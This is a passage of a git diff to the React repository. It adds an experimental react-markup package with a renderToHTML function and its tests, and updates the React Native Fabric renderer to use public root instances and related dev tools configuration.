--- /dev/null
+++ b/packages/react-markup/src/ReactMarkupServer.js
@@ -0,0 +1,240 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactNodeList} from 'shared/ReactTypes';
+import type {LazyComponent} from 'react/src/ReactLazy';
+import type {ErrorInfo} from 'react-server/src/ReactFizzServer';
+
+import ReactVersion from 'shared/ReactVersion';
+
+import ReactSharedInternalsServer from 'react-server/src/ReactSharedInternalsServer';
+import ReactSharedInternalsClient from 'shared/ReactSharedInternals';
+
+import {
+  createRequest as createFlightRequest,
+  startWork as startFlightWork,
+  startFlowing as startFlightFlowing,
+  abort as abortFlight,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse as createFlightResponse,
+  createStreamState as createFlightStreamState,
+  getRoot as getFlightRoot,
+  processStringChunk as processFlightStringChunk,
+  close as closeFlight,
+} from 'react-client/src/ReactFlightClient';
+
+import {
+  createRequest as createFizzRequest,
+  startWork as startFizzWork,
+  startFlowing as startFizzFlowing,
+  abort as abortFizz,
+} from 'react-server/src/ReactFizzServer';
+
+import {
+  createResumableState,
+  createRenderState,
+  createRootFormatContext,
+} from './ReactFizzConfigMarkup';
+
+type ReactMarkupNodeList =
+  // This is the intersection of ReactNodeList and ReactClientValue minus
+  // Client/ServerReferences.
+  | component(...props: any)
+  | LazyComponent<ReactMarkupNodeList, any>
+  | React$Element<string>
+  | string
+  | boolean
+  | number
+  | symbol
+  | null
+  | void
+  | bigint
+  | $AsyncIterable<ReactMarkupNodeList, ReactMarkupNodeList, void>
+  | $AsyncIterator<ReactMarkupNodeList, ReactMarkupNodeList, void>
+  | Iterable<ReactMarkupNodeList>
+  | Iterator<ReactMarkupNodeList>
+  | Array<ReactMarkupNodeList>
+  | Promise<ReactMarkupNodeList>; // Thenable<ReactMarkupNodeList>
+
+type MarkupOptions = {
+  identifierPrefix?: string,
+  signal?: AbortSignal,
+  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,
+};
+
+function noServerCallOrFormAction() {
+  throw new Error(
+    'renderToHTML should not have emitted Server References. This is a bug in React.',
+  );
+}
+
+export function experimental_renderToHTML(
+  children: ReactMarkupNodeList,
+  options?: MarkupOptions,
+): Promise<string> {
+  return new Promise((resolve, reject) => {
+    const flightResponse = createFlightResponse(
+      null,
+      null,
+      null,
+      noServerCallOrFormAction,
+      noServerCallOrFormAction,
+      undefined,
+      undefined,
+      false,
+      undefined,
+      false,
+      undefined,
+      undefined,
+      undefined,
+    );
+    const streamState = createFlightStreamState(flightResponse, null);
+    const flightDestination = {
+      push(chunk: string | null): boolean {
+        if (chunk !== null) {
+          processFlightStringChunk(flightResponse, streamState, chunk);
+        } else {
+          closeFlight(flightResponse);
+        }
+        return true;
+      },
+      destroy(error: mixed): void {
+        abortFizz(fizzRequest, error);
+        reject(error);
+      },
+    };
+    let buffer = '';
+    const fizzDestination = {
+      // $FlowFixMe[missing-local-annot]
+      push(chunk) {
+        if (chunk !== null) {
+          buffer += chunk;
+        } else {
+          // null indicates that we finished
+          resolve(buffer);
+        }
+        return true;
+      },
+      // $FlowFixMe[missing-local-annot]
+      destroy(error) {
+        abortFlight(flightRequest, error);
+        reject(error);
+      },
+    };
+
+    let stashErrorIdx = 1;
+    const stashedErrors: Map<string, mixed> = new Map();
+
+    function handleFlightError(error: mixed): string {
+      // For Flight errors we don't immediately reject, because they might not matter
+      // to the output of the HTML. We stash the error with a digest in case we need
+      // to get to the original error from the Fizz render.
+      const id = '' + stashErrorIdx++;
+      stashedErrors.set(id, error);
+      return id;
+    }
+
+    function handleError(error: mixed, errorInfo: ErrorInfo) {
+      if (typeof error === 'object' && error !== null) {
+        const id = error.digest;
+        // Note that the original error might be `undefined` so we need a has check.
+        if (typeof id === 'string' && stashedErrors.has(id)) {
+          // Get the original error thrown inside Flight.
+          error = stashedErrors.get(id);
+        }
+      }
+
+      // Any error rejects the promise, regardless of where it happened.
+      // Unlike other React SSR we don't want to put Suspense boundaries into
+      // client rendering mode because there's no client rendering here.
+      reject(error);
+
+      const onError = options && options.onError;
+      if (onError) {
+        if (__DEV__) {
+          const prevGetCurrentStackImpl =
+            ReactSharedInternalsServer.getCurrentStack;
+          // We're inside a "client" callback from Fizz but we only have access to the
+          // "server" runtime so to get access to a stack trace within this callback we
+          // need to override it to get it from the client runtime.
+          ReactSharedInternalsServer.getCurrentStack =
+            ReactSharedInternalsClient.getCurrentStack;
+          try {
+            onError(error, errorInfo);
+          } finally {
+            ReactSharedInternalsServer.getCurrentStack =
+              prevGetCurrentStackImpl;
+          }
+        } else {
+          onError(error, errorInfo);
+        }
+      }
+    }
+    const flightRequest = createFlightRequest(
+      // $FlowFixMe: This should be a subtype but not everything is typed covariant.
+      children,
+      null,
+      handleFlightError,
+      options ? options.identifierPrefix : undefined,
+      undefined,
+      undefined,
+      'Markup',
+      undefined,
+      false,
+    );
+    const resumableState = createResumableState(
+      options ? options.identifierPrefix : undefined,
+      undefined,
+    );
+    const root = getFlightRoot<ReactNodeList>(flightResponse);
+    const fizzRequest = createFizzRequest(
+      // $FlowFixMe: Thenables as children are supported.
+      root,
+      resumableState,
+      createRenderState(
+        resumableState,
+        undefined,
+        undefined,
+        undefined,
+        undefined,
+        undefined,
+      ),
+      createRootFormatContext(),
+      Infinity,
+      handleError,
+      undefined,
+      undefined,
+      undefined,
+      undefined,
+      undefined,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abortFlight(flightRequest, (signal: any).reason);
+        abortFizz(fizzRequest, (signal: any).reason);
+      } else {
+        const listener = () => {
+          abortFlight(flightRequest, (signal: any).reason);
+          abortFizz(fizzRequest, (signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startFlightWork(flightRequest);
+    startFlightFlowing(flightRequest, flightDestination);
+    startFizzWork(fizzRequest);
+    startFizzFlowing(fizzRequest, fizzDestination);
+  });
+}
+
+export {ReactVersion as version};
diff --git a/packages/react-markup/src/ReactMarkupServer.stable.js b/packages/react-markup/src/ReactMarkupServer.stable.js
new file mode 100644
index 000000000000..b4aec8f76002
--- /dev/null
+++ b/packages/react-markup/src/ReactMarkupServer.stable.js
@@ -0,0 +1,11 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// eslint-disable-next-line react-internal/prod-error-codes
+throw new Error('react-markup should not get built in stable');
diff --git a/packages/react-markup/src/__tests__/ReactMarkupClient-test.js b/packages/react-markup/src/__tests__/ReactMarkupClient-test.js
new file mode 100644
index 000000000000..e5f352bf40df
--- /dev/null
+++ b/packages/react-markup/src/__tests__/ReactMarkupClient-test.js
@@ -0,0 +1,240 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ */
+
+'use strict';
+
+let React;
+let ReactMarkup;
+
+function normalizeCodeLocInfo(str) {
+  return (
+    str &&
+    String(str).replace(/\n +(?:at|in) ([\S]+)[^\n]*/g, function (m, name) {
+      return '\n    in ' + name + ' (at **)';
+    })
+  );
+}
+
+if (!__EXPERIMENTAL__) {
+  it('should not be built in stable', () => {
+    try {
+      require('react-markup');
+    } catch (x) {
+      return;
+    }
+    throw new Error('Expected react-markup not to exist in stable.');
+  });
+} else {
+  describe('ReactMarkup', () => {
+    beforeEach(() => {
+      jest.resetModules();
+      React = require('react');
+      ReactMarkup = require('react-markup');
+    });
+
+    it('should be able to render a simple component', async () => {
+      function Component() {
+        return <div>hello world</div>;
+      }
+
+      const html = await ReactMarkup.experimental_renderToHTML(<Component />);
+      expect(html).toBe('<div>hello world</div>');
+    });
+
+    it('should be able to render a large string', async () => {
+      function Component() {
+        return <div>{'hello '.repeat(200)}world</div>;
+      }
+
+      const html = await ReactMarkup.experimental_renderToHTML(
+        React.createElement(Component),
+      );
+      expect(html).toBe('<div>' + ('hello '.repeat(200) + 'world') + '</div>');
+    });
+
+    it('should prefix html tags with a doctype', async () => {
+      const html = await ReactMarkup.experimental_renderToHTML(
+        <html>
+          <body>hello</body>
+        </html>,
+      );
+      expect(html).toBe(
+        '<!DOCTYPE html><html><head></head><body>hello</body></html>',
+      );
+    });
+
+    it('should error on useState', async () => {
+      function Component() {
+        const [state] = React.useState('hello');
+        return <div>{state}</div>;
+      }
+
+      await expect(async () => {
+        await ReactMarkup.experimental_renderToHTML(<Component />);
+      }).rejects.toThrow(
+        'Cannot use state or effect Hooks in renderToHTML because this component will never be hydrated.',
+      );
+    });
+
+    it('should error on refs passed to host components', async () => {
+      function Component() {
+        const ref = React.createRef();
+        return <div ref={ref} />;
+      }
+
+      await expect(async () => {
+        await ReactMarkup.experimental_renderToHTML(<Component />);
+      }).rejects.toThrow(
+        'Cannot pass ref in renderToHTML because they will never be hydrated.',
+      );
+    });
+
+    it('should error on callbacks passed to event handlers', async () => {
+      function Component() {
+        function onClick() {
+          // This won't be able to be called.
+        }
+        return <div onClick={onClick} />;
+      }
+
+      await expect(async () => {
+        await ReactMarkup.experimental_renderToHTML(<Component />);
+      }).rejects.toThrow(
+        'Cannot pass event handlers (onClick) in renderToHTML because the HTML will never be hydrated so they can never get called.',
+      );
+    });
+
+    it('supports the useId Hook', async () => {
+      function Component() {
+        const firstNameId = React.useId();
+        const lastNameId = React.useId();
+        return React.createElement(
+          'div',
+          null,
+          React.createElement(
+            'h2',
+            {
+              id: firstNameId,
+            },
+            'First',
+          ),
+          React.createElement(
+            'p',
+            {
+              'aria-labelledby': firstNameId,
+            },
+            'Sebastian',
+          ),
+          React.createElement(
+            'h2',
+            {
+              id: lastNameId,
+            },
+            'Last',
+          ),
+          React.createElement(
+            'p',
+            {
+              'aria-labelledby': lastNameId,
+            },
+            'Smith',
+          ),
+        );
+      }
+
+      const html = await ReactMarkup.experimental_renderToHTML(<Component />);
+      const container = document.createElement('div');
+      container.innerHTML = html;
+
+      expect(container.getElementsByTagName('h2')[0].id).toBe(
+        container.getElementsByTagName('p')[0].getAttribute('aria-labelledby'),
+      );
+      expect(container.getElementsByTagName('h2')[1].id).toBe(
+        container.getElementsByTagName('p')[1].getAttribute('aria-labelledby'),
+      );
+
+      // It's not the same id between them.
+      expect(container.getElementsByTagName('h2')[0].id).not.toBe(
+        container.getElementsByTagName('p')[1].getAttribute('aria-labelledby'),
+      );
+    });
+
+    // @gate disableClientCache
+    it('does NOT support cache yet because it is a client component', async () => {
+      let counter = 0;
+      const getCount = React.cache(() => {
+        return counter++;
+      });
+      function Component() {
+        const a = getCount();
+        const b = getCount();
+        return (
+          <div>
+            {a}
+            {b}
+          </div>
+        );
+      }
+
+      const html = await ReactMarkup.experimental_renderToHTML(<Component />);
+      expect(html).toBe('<div>01</div>');
+    });
+
+    it('can get the component owner stacks for onError in dev', async () => {
+      const thrownError = new Error('hi');
+      const caughtErrors = [];
+
+      function Foo() {
+        return <Bar />;
+      }
+      function Bar() {
+        return (
+          <div>
+            <Baz />
+          </div>
+        );
+      }
+      function Baz({unused}) {
+        throw thrownError;
+      }
+
+      await expect(async () => {
+        await ReactMarkup.experimental_renderToHTML(
+          <div>
+            <Foo />
+          </div>,
+          {
+            onError(error, errorInfo) {
+              caughtErrors.push({
+                error: error,
+                parentStack: errorInfo.componentStack,
+                ownerStack: React.captureOwnerStack
+                  ? React.captureOwnerStack()
+                  : null,
+              });
+            },
+          },
+        );
+      }).rejects.toThrow(thrownError);
+
+      expect(caughtErrors.length).toBe(1);
+      expect(caughtErrors[0].error).toBe(thrownError);
+      expect(normalizeCodeLocInfo(caughtErrors[0].parentStack)).toBe(
+        '\n    in Baz (at **)' +
+          '\n    in div (at **)' +
+          '\n    in Bar (at **)' +
+          '\n    in Foo (at **)' +
+          '\n    in div (at **)',
+      );
+      expect(normalizeCodeLocInfo(caughtErrors[0].ownerStack)).toBe(
+        __DEV__ ? '\n    in Bar (at **)' + '\n    in Foo (at **)' : null,
+      );
+    });
+  });
+}
diff --git a/packages/react-markup/src/__tests__/ReactMarkupServer-test.js b/packages/react-markup/src/__tests__/ReactMarkupServer-test.js
new file mode 100644
index 000000000000..e334141972ea
--- /dev/null
+++ b/packages/react-markup/src/__tests__/ReactMarkupServer-test.js
@@ -0,0 +1,276 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ */
+
+'use strict';
+
+global.TextDecoder = require('util').TextDecoder;
+global.TextEncoder = require('util').TextEncoder;
+
+let React;
+let ReactMarkup;
+
+function normalizeCodeLocInfo(str) {
+  return (
+    str &&
+    String(str).replace(/\n +(?:at|in) ([\S]+)[^\n]*/g, function (m, name) {
+      return '\n    in ' + name + ' (at **)';
+    })
+  );
+}
+
+if (!__EXPERIMENTAL__) {
+  it('should not be built in stable', () => {
+    try {
+      require('react-markup');
+    } catch (x) {
+      return;
+    }
+    throw new Error('Expected react-markup not to exist in stable.');
+  });
+} else {
+  describe('ReactMarkup', () => {
+    beforeEach(() => {
+      jest.resetModules();
+      // We run in the react-server condition.
+      jest.mock('react', () => require('react/react.react-server'));
+      if (__EXPERIMENTAL__) {
+        jest.mock('react-markup', () =>
+          require('react-markup/react-markup.react-server'),
+        );
+      }
+
+      React = require('react');
+      if (__EXPERIMENTAL__) {
+        ReactMarkup = require('react-markup');
+      } else {
+        try {
+          require('react-markup/react-markup.react-server');
+        } catch (x) {
+          return;
+        }
+        throw new Error('Expected react-markup not to exist in stable.');
+      }
+    });
+
+    it('should be able to render a simple component', async () => {
+      function Component() {
+        // We can't use JSX because that's client-JSX in our tests.
+        return React.createElement('div', null, 'hello world');
+      }
+
+      const html = await ReactMarkup.experimental_renderToHTML(
+        React.createElement(Component),
+      );
+      expect(html).toBe('<div>hello world</div>');
+    });
+
+    it('should be able to render a large string', async () => {
+      function Component() {
+        // We can't use JSX because that's client-JSX in our tests.
+        return React.createElement('div', null, 'hello '.repeat(200) + 'world');
+      }
+
+      const html = await ReactMarkup.experimental_renderToHTML(
+        React.createElement(Component),
+      );
+      expect(html).toBe('<div>' + ('hello '.repeat(200) + 'world') + '</div>');
+    });
+
+    it('should prefix html tags with a doctype', async () => {
+      const html = await ReactMarkup.experimental_renderToHTML(
+        React.createElement(
+          'html',
+          null,
+          React.createElement('body', null, 'hello'),
+        ),
+      );
+      expect(html).toBe(
+        '<!DOCTYPE html><html><head></head><body>hello</body></html>',
+      );
+    });
+
+    it('should error on useState', async () => {
+      function Component() {
+        const [state] = React.useState('hello');
+        // We can't use JSX because that's client-JSX in our tests.
+        return React.createElement('div', null, state);
+      }
+
+      await expect(async () => {
+        await ReactMarkup.experimental_renderToHTML(
+          React.createElement(Component),
+        );
+      }).rejects.toThrow('React.useState is not a function');
+    });
+
+    it('should error on refs passed to host components', async () => {
+      function Component() {
+        const ref = React.createRef();
+        // We can't use JSX because that's client-JSX in our tests.
+        return React.createElement('div', {ref});
+      }
+
+      await expect(async () => {
+        await ReactMarkup.experimental_renderToHTML(
+          React.createElement(Component),
+        );
+      }).rejects.toThrow(
+        'Refs cannot be used in Server Components, nor passed to Client Components.',
+      );
+    });
+
+    it('should error on callbacks passed to event handlers', async () => {
+      function Component() {
+        function onClick() {
+          // This won't be able to be called.
+        }
+        // We can't use JSX because that's client-JSX in our tests.
+        return React.createElement('div', {onClick});
+      }
+
+      await expect(async () => {
+        await ReactMarkup.experimental_renderToHTML(
+          React.createElement(Component),
+        );
+      }).rejects.toThrowError(
+        __DEV__
+          ? `Event handlers cannot be passed to Client Component props.\n` +
+              '  <div onClick={function onClick}>\n' +
+              '               ^^^^^^^^^^^^^^^^^^\n' +
+              'If you need interactivity, consider converting part of this to a Client Component.'
+          : `Event handlers cannot be passed to Client Component props.\n` +
+              '  {onClick: function onClick}\n' +
+              '            ^^^^^^^^^^^^^^^^\n' +
+              'If you need interactivity, consider converting part of this to a Client Component.',
+      );
+    });
+
+    it('supports the useId Hook', async () => {
+      function Component() {
+        const firstNameId = React.useId();
+        const lastNameId = React.useId();
+        // We can't use JSX because that's client-JSX in our tests.
+        return React.createElement(
+          'div',
+          null,
+          React.createElement(
+            'h2',
+            {
+              id: firstNameId,
+            },
+            'First',
+          ),
+          React.createElement(
+            'p',
+            {
+              'aria-labelledby': firstNameId,
+            },
+            'Sebastian',
+          ),
+          React.createElement(
+            'h2',
+            {
+              id: lastNameId,
+            },
+            'Last',
+          ),
+          React.createElement(
+            'p',
+            {
+              'aria-labelledby': lastNameId,
+            },
+            'Smith',
+          ),
+        );
+      }
+
+      const html = await ReactMarkup.experimental_renderToHTML(
+        React.createElement(Component),
+      );
+      const container = document.createElement('div');
+      container.innerHTML = html;
+
+      expect(container.getElementsByTagName('h2')[0].id).toBe(
+        container.getElementsByTagName('p')[0].getAttribute('aria-labelledby'),
+      );
+      expect(container.getElementsByTagName('h2')[1].id).toBe(
+        container.getElementsByTagName('p')[1].getAttribute('aria-labelledby'),
+      );
+
+      // It's not the same id between them.
+      expect(container.getElementsByTagName('h2')[0].id).not.toBe(
+        container.getElementsByTagName('p')[1].getAttribute('aria-labelledby'),
+      );
+    });
+
+    it('supports cache', async () => {
+      let counter = 0;
+      const getCount = React.cache(() => {
+        return counter++;
+      });
+      function Component() {
+        const a = getCount();
+        const b = getCount();
+        return React.createElement('div', null, a, b);
+      }
+
+      const html = await ReactMarkup.experimental_renderToHTML(
+        React.createElement(Component),
+      );
+      expect(html).toBe('<div>00</div>');
+    });
+
+    it('can get the component owner stacks for onError in dev', async () => {
+      const thrownError = new Error('hi');
+      const caughtErrors = [];
+
+      function Foo() {
+        return React.createElement(Bar);
+      }
+      function Bar() {
+        return React.createElement('div', null, React.createElement(Baz));
+      }
+      function Baz({unused}) {
+        throw thrownError;
+      }
+
+      await expect(async () => {
+        await ReactMarkup.experimental_renderToHTML(
+          React.createElement('div', null, React.createElement(Foo)),
+          {
+            onError(error, errorInfo) {
+              caughtErrors.push({
+                error: error,
+                parentStack: errorInfo.componentStack,
+                ownerStack: React.captureOwnerStack
+                  ? React.captureOwnerStack()
+                  : null,
+              });
+            },
+          },
+        );
+      }).rejects.toThrow(thrownError);
+
+      expect(caughtErrors.length).toBe(1);
+      expect(caughtErrors[0].error).toBe(thrownError);
+      expect(normalizeCodeLocInfo(caughtErrors[0].parentStack)).toBe(
+        __DEV__
+          ? '\n    in Baz (at **)' +
+              '\n    in div (at **)' +
+              '\n    in Bar (at **)' +
+              '\n    in Foo (at **)' +
+              '\n    in div (at **)'
+          : '\n    in div (at **)' + '\n    in div (at **)',
+      );
+      expect(normalizeCodeLocInfo(caughtErrors[0].ownerStack)).toBe(
+        __DEV__ ? '\n    in Bar (at **)' + '\n    in Foo (at **)' : null,
+      );
+    });
+  });
+}
diff --git a/packages/react-native-renderer/index.js b/packages/react-native-renderer/index.js
index da522f358f21..131c066ff44b 100644
--- a/packages/react-native-renderer/index.js
+++ b/packages/react-native-renderer/index.js
@@ -10,7 +10,7 @@
 import type {ReactNativeType} from './src/ReactNativeTypes';
 import * as ReactNative from './src/ReactNativeRenderer';
 // Assert that the exports line up with the type we're going to expose.
-// eslint-disable-next-line ft-flow/no-unused-expressions
 (ReactNative: ReactNativeType);
 
+// TODO: Delete the legacy renderer, only Fabric is used now.
 export * from './src/ReactNativeRenderer';
diff --git a/packages/react-native-renderer/package.json b/packages/react-native-renderer/package.json
index b27292c1f7b9..9dccf45b0449 100644
--- a/packages/react-native-renderer/package.json
+++ b/packages/react-native-renderer/package.json
@@ -3,12 +3,12 @@
   "version": "16.0.0",
   "private": true,
   "repository": {
-    "type" : "git",
-    "url" : "https://github.com/facebook/react.git",
+    "type": "git",
+    "url": "https://github.com/facebook/react.git",
     "directory": "packages/react-native-renderer"
   },
   "dependencies": {
-    "scheduler": "^0.23.0"
+    "scheduler": "^0.28.0"
   },
   "peerDependencies": {
     "react": "^18.0.0"
diff --git a/packages/react-native-renderer/src/ReactFabric.js b/packages/react-native-renderer/src/ReactFabric.js
index c56576ff18e2..30c32433b3b6 100644
--- a/packages/react-native-renderer/src/ReactFabric.js
+++ b/packages/react-native-renderer/src/ReactFabric.js
@@ -28,14 +28,7 @@ import {
 
 import {createPortal as createPortalImpl} from 'react-reconciler/src/ReactPortal';
 import {setBatchingImplementation} from './legacy-events/ReactGenericBatching';
-import ReactVersion from 'shared/ReactVersion';
 
-import {getClosestInstanceFromNode} from './ReactFabricComponentTree';
-import {
-  getInspectorDataForViewTag,
-  getInspectorDataForViewAtPoint,
-  getInspectorDataForInstance,
-} from './ReactNativeFiberInspector';
 import {LegacyRoot, ConcurrentRoot} from 'react-reconciler/src/ReactRootTags';
 import {
   findHostInstance_DEPRECATED,
@@ -48,8 +41,15 @@ import {
 import {getPublicInstanceFromInternalInstanceHandle} from './ReactFiberConfigFabric';
 
 // Module provided by RN:
-import {ReactFiberErrorDialog} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';
-import {disableLegacyMode} from 'shared/ReactFeatureFlags';
+import {
+  ReactFiberErrorDialog,
+  createPublicRootInstance,
+  type PublicRootInstance,
+} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';
+import {
+  disableLegacyMode,
+  enableDefaultTransitionIndicator,
+} from 'shared/ReactFeatureFlags';
 
 if (typeof ReactFiberErrorDialog.showErrorDialog !== 'function') {
   throw new Error(
@@ -81,7 +81,7 @@ function nativeOnCaughtError(
   error: mixed,
   errorInfo: {
     +componentStack?: ?string,
-    +errorBoundary?: ?React$Component<any, any>,
+    +errorBoundary?: ?component(...props: any),
   },
 ): void {
   const errorBoundary = errorInfo.errorBoundary;
@@ -101,6 +101,9 @@ function nativeOnCaughtError(
 
   defaultOnCaughtError(error, errorInfo);
 }
+function nativeOnDefaultTransitionIndicator(): void | (() => void) {
+  // Native doesn't have a default indicator.
+}
 
 function render(
   element: Element<ElementType>,
@@ -132,11 +135,23 @@ function render(
     if (options && options.onRecoverableError !== undefined) {
       onRecoverableError = options.onRecoverableError;
     }
+    let onDefaultTransitionIndicator = nativeOnDefaultTransitionIndicator;
+    if (enableDefaultTransitionIndicator) {
+      if (options && options.onDefaultTransitionIndicator !== undefined) {
+        onDefaultTransitionIndicator = options.onDefaultTransitionIndicator;
+      }
+    }
+
+    const publicRootInstance = createPublicRootInstance(containerTag);
+    const rootInstance = {
+      publicInstance: publicRootInstance,
+      containerTag,
+    };
 
     // TODO (bvaughn): If we decide to keep the wrapper component,
     // We could create a wrapper for containerTag as well to reduce special casing.
     root = createContainer(
-      containerTag,
+      rootInstance,
       concurrentRoot ? ConcurrentRoot : LegacyRoot,
       null,
       false,
@@ -145,8 +160,10 @@ function render(
       onUncaughtError,
       onCaughtError,
       onRecoverableError,
+      onDefaultTransitionIndicator,
       null,
     );
+
     roots.set(containerTag, root);
   }
   updateContainer(element, root, null, callback);
@@ -164,6 +181,9 @@ function stopSurface(containerTag: number) {
   if (root) {
     // TODO: Is it safe to reset this now or should I wait since this unmount could be deferred?
     updateContainer(null, root, null, () => {
+      // Remove the reference to the public instance to prevent memory leaks.
+      root.containerInfo.publicInstance = null;
+
       roots.delete(containerTag);
     });
   }
@@ -177,6 +197,16 @@ function createPortal(
   return createPortalImpl(children, containerTag, null, key);
 }
 
+function getPublicInstanceFromRootTag(
+  rootTag: number,
+): PublicRootInstance | null {
+  const root = roots.get(rootTag);
+  if (root) {
+    return root.containerInfo.publicInstance;
+  }
+  return null;
+}
+
 setBatchingImplementation(batchedUpdatesImpl, discreteUpdates);
 
 const roots = new Map<number, FiberRoot>();
@@ -194,9 +224,6 @@ export {
   unmountComponentAtNode,
   stopSurface,
   createPortal,
-  // This export is typically undefined in production builds.
-  // See the "enableGetInspectorDataForInstanceInProduction" flag.
-  getInspectorDataForInstance,
   // The public instance has a reference to the internal instance handle.
   // This method allows it to acess the most recent shadow node for
   // the instance (it's only accessible through it).
@@ -205,22 +232,10 @@ export {
   // instance handles we use to dispatch events. This provides a way to access
   // the public instances we created from them (potentially created lazily).
   getPublicInstanceFromInternalInstanceHandle,
+  // Returns the document instance for that root tag.
+  getPublicInstanceFromRootTag,
   // DEV-only:
   isChildPublicInstance,
 };
 
-injectIntoDevTools({
-  // $FlowExpectedError[incompatible-call] The type of `Instance` in `getClosestInstanceFromNode` does not match in Fabric and the legacy renderer, so it fails to typecheck here.
-  findFiberByHostInstance: getClosestInstanceFromNode,
-  bundleType: __DEV__ ? 1 : 0,
-  version: ReactVersion,
-  rendererPackageName: 'react-native-renderer',
-  rendererConfig: {
-    getInspectorDataForInstance,
-    getInspectorDataForViewTag: getInspectorDataForViewTag,
-    getInspectorDataForViewAtPoint: getInspectorDataForViewAtPoint.bind(
-      null,
-      findNodeHandle,
-    ),
-  },
-});
+injectIntoDevTools();
diff --git a/packages/react-native-renderer/src/ReactFiberConfigFabric.js b/packages/react-native-renderer/src/ReactFiberConfigFabric.js
index be64b37fef25..533b20fa6d74 100644
--- a/packages/react-native-renderer/src/ReactFiberConfigFabric.js
+++ b/packages/react-native-renderer/src/ReactFiberConfigFabric.js
@@ -12,16 +12,21 @@ import type {
   TouchedViewDataAtPoint,
   ViewConfig,
 } from './ReactNativeTypes';
-import {create, diff} from './ReactNativeAttributePayloadFabric';
 import {dispatchEvent} from './ReactFabricEventEmitter';
 import {
   NoEventPriority,
   DefaultEventPriority,
   DiscreteEventPriority,
+  ContinuousEventPriority,
+  IdleEventPriority,
   type EventPriority,
 } from 'react-reconciler/src/ReactEventPriorities';
 import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
 import {HostText} from 'react-reconciler/src/ReactWorkTags';
+import {
+  getFragmentParentHostFiber,
+  traverseFragmentInstance,
+} from 'react-reconciler/src/ReactFiberTreeReflection';
 
 // Modules provided by RN:
 import {
@@ -29,9 +34,16 @@ import {
   deepFreezeAndThrowOnMutationInDev,
   createPublicInstance,
   createPublicTextInstance,
+  createAttributePayload,
+  diffAttributePayloads,
   type PublicInstance as ReactNativePublicInstance,
   type PublicTextInstance,
+  type PublicRootInstance,
 } from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';
+import {
+  enableFragmentRefsInstanceHandles,
+  enableFragmentRefsTextNodes,
+} from 'shared/ReactFeatureFlags';
 
 const {
   createNode,
@@ -45,10 +57,31 @@ const {
   registerEventHandler,
   unstable_DefaultEventPriority: FabricDefaultPriority,
   unstable_DiscreteEventPriority: FabricDiscretePriority,
+  unstable_ContinuousEventPriority: FabricContinuousPriority,
+  unstable_IdleEventPriority: FabricIdlePriority,
   unstable_getCurrentEventPriority: fabricGetCurrentEventPriority,
 } = nativeFabricUIManager;
 
+import {getClosestInstanceFromNode} from './ReactFabricComponentTree';
+import {compareDocumentPositionForEmptyFragment} from 'shared/ReactDOMFragmentRefShared';
+
+import {
+  getInspectorDataForViewTag,
+  getInspectorDataForViewAtPoint,
+  getInspectorDataForInstance,
+} from './ReactNativeFiberInspector';
+
 import {passChildrenWhenCloningPersistedNodes} from 'shared/ReactFeatureFlags';
+import {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';
+import type {ReactContext} from 'shared/ReactTypes';
+
+export {default as rendererVersion} from 'shared/ReactVersion'; // TODO: Consider exporting the react-native version.
+export const rendererPackageName = 'react-native-renderer';
+export const extraDevToolsConfig = {
+  getInspectorDataForInstance,
+  getInspectorDataForViewTag,
+  getInspectorDataForViewAtPoint,
+};
 
 const {get: getViewConfigForType} = ReactNativeViewConfigRegistry;
 
@@ -59,7 +92,7 @@ const {get: getViewConfigForType} = ReactNativeViewConfigRegistry;
 let nextReactTag = 2;
 
 type InternalInstanceHandle = Object;
-type Node = Object;
+
 export type Type = string;
 export type Props = Object;
 export type Instance = {
@@ -74,8 +107,11 @@ export type Instance = {
     currentProps: Props,
     // Reference to the React handle (the fiber)
     internalInstanceHandle: InternalInstanceHandle,
-    // Exposed through refs.
-    publicInstance: PublicInstance,
+    // Exposed through refs. Potentially lazily created.
+    publicInstance: PublicInstance | null,
+    // This is only necessary to lazily create `publicInstance`.
+    // Will be set to `null` after that is created.
+    publicRootInstance?: PublicRootInstance | null,
   },
 };
 export type TextInstance = {
@@ -87,7 +123,13 @@ export type TextInstance = {
 };
 export type HydratableInstance = Instance | TextInstance;
 export type PublicInstance = ReactNativePublicInstance;
-export type Container = number;
+type PublicInstanceWithFragmentHandles = PublicInstance & {
+  reactFragments?: Set<FragmentInstanceType>,
+};
+export type Container = {
+  containerTag: number,
+  publicInstance: PublicRootInstance | null,
+};
 export type ChildSet = Object | Array<Node>;
 export type HostContext = $ReadOnly<{
   isInAParentText: boolean,
@@ -124,6 +166,7 @@ export * from 'react-reconciler/src/ReactFiberConfigWithNoScopes';
 export * from 'react-reconciler/src/ReactFiberConfigWithNoTestSelectors';
 export * from 'react-reconciler/src/ReactFiberConfigWithNoResources';
 export * from 'react-reconciler/src/ReactFiberConfigWithNoSingletons';
+export * from './ReactFiberConfigFabricWithViewTransition';
 
 export function appendInitialChild(
   parentInstance: Instance,
@@ -154,22 +197,19 @@ export function createInstance(
     }
   }
 
-  const updatePayload = create(props, viewConfig.validAttributes);
+  const updatePayload = createAttributePayload(
+    props,
+    viewConfig.validAttributes,
+  );
 
   const node = createNode(
     tag, // reactTag
     viewConfig.uiViewClassName, // viewName
-    rootContainerInstance, // rootTag
+    rootContainerInstance.containerTag, // rootTag
     updatePayload, // props
     internalInstanceHandle, // internalInstanceHandle
   );
 
